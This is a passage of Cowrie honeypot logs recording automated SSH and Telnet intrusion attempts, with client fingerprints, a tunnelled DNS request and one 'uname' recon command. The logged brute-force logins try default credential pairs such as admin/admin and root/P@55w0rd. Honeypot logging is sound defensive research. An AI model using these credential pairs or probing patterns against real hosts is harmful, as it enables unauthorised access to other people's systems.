enssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:33.713714Z","src_ip":"87.251.64.176","session":"2788e396cffa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:34.004503Z","src_ip":"87.251.64.176","session":"2788e396cffa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:34.155699Z","session":"2788e396cffa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:34.253145Z","src_ip":"87.251.64.176","session":"2788e396cffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:34.352709Z","src_ip":"87.251.64.176","session":"2788e396cffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52354,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f29f2f76ec4","protocol":"ssh","message":"New connection: 8.218.166.49:52354 (10.17.0.5:22) [session: 1f29f2f76ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:39.982872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:39.987792Z","src_ip":"8.218.166.49","session":"1f29f2f76ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:40.810755Z","src_ip":"8.218.166.49","session":"1f29f2f76ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43222,"dst_ip":"10.17.0.5","dst_port":22,"session":"c54bd5e3c7d6","protocol":"ssh","message":"New connection: 8.218.166.49:43222 (10.17.0.5:22) [session: c54bd5e3c7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:48.401865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:48.406853Z","src_ip":"8.218.166.49","session":"c54bd5e3c7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42530,"dst_ip":"10.17.0.5","dst_port":22,"session":"b74471a624ab","protocol":"ssh","message":"New connection: 8.218.166.49:42530 (10.17.0.5:22) [session: b74471a624ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:54.331055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:54.335907Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:07:58.120782Z","src_ip":"8.218.166.49","session":"c54bd5e3c7d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:10.281216Z","src_ip":"8.218.166.49","session":"c54bd5e3c7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:13.995858Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:17.485807Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:18.051220Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:18.054482Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.0","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:19.068118Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.7","message":"Connection lost after 24.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:19.074290Z","src_ip":"8.218.166.49","session":"b74471a624ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":34756,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb7ef7f9ef1","protocol":"ssh","message":"New connection: 8.218.166.49:34756 (10.17.0.5:22) [session: 6eb7ef7f9ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:20.561992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:20.567012Z","src_ip":"8.218.166.49","session":"6eb7ef7f9ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"64.3","message":"Connection lost after 64.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:33.451208Z","src_ip":"8.218.166.49","session":"7bcbb9fb16af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"57.3","message":"Connection lost after 57.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:45.737760Z","src_ip":"8.218.166.49","session":"c54bd5e3c7d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40896,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4c0fa22add9","protocol":"ssh","message":"New connection: 8.218.166.49:40896 (10.17.0.5:22) [session: e4c0fa22add9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:47.652604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:47.657470Z","src_ip":"8.218.166.49","session":"e4c0fa22add9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:48.126619Z","src_ip":"8.218.166.49","session":"e4c0fa22add9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:08:53.890833Z","src_ip":"8.218.166.49","session":"e4c0fa22add9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:09:01.009030Z","src_ip":"8.218.166.49","session":"e4c0fa22add9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:09:01.609901Z","src_ip":"8.218.166.49","session":"6eb7ef7f9ef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:09:14.729501Z","src_ip":"8.218.166.49","session":"6eb7ef7f9ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"59.7","message":"Connection lost after 59.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:09:20.283021Z","src_ip":"8.218.166.49","session":"6eb7ef7f9ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:09:39.996797Z","src_ip":"8.218.166.49","session":"1f29f2f76ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48834,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a259598a91a","protocol":"ssh","message":"New connection: 8.218.166.49:48834 (10.17.0.5:22) [session: 6a259598a91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:38.232886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:43.733870Z","src_ip":"8.218.166.49","session":"6a259598a91a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:43.739345Z","src_ip":"8.218.166.49","session":"6a259598a91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.172.53.155","src_port":57440,"dst_ip":"159.203.135.109","dst_port":23,"session":"932e804ec456","protocol":"telnet","message":"New connection: 123.172.53.155:57440 (159.203.135.109:23) [session: 932e804ec456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:45.402197Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:48.661195Z","src_ip":"8.218.166.49","session":"6a259598a91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:50.593747Z","src_ip":"8.218.166.49","session":"6a259598a91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.37935495376587,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:10:57.781436Z","src_ip":"123.172.53.155","session":"932e804ec456","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41532,"dst_ip":"10.17.0.5","dst_port":22,"session":"8540f53a32db","protocol":"ssh","message":"New connection: 8.218.166.49:41532 (10.17.0.5:22) [session: 8540f53a32db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:11:34.870260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:11:34.877154Z","src_ip":"8.218.166.49","session":"8540f53a32db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:11:35.977633Z","src_ip":"8.218.166.49","session":"8540f53a32db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:11:42.552721Z","src_ip":"8.218.166.49","session":"8540f53a32db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.9","message":"Connection lost after 22.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:11:57.752634Z","src_ip":"8.218.166.49","session":"8540f53a32db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":58566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64505211e55","protocol":"ssh","message":"New connection: 8.218.166.49:58566 (10.17.0.5:22) [session: d64505211e55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:12:09.071315Z"}
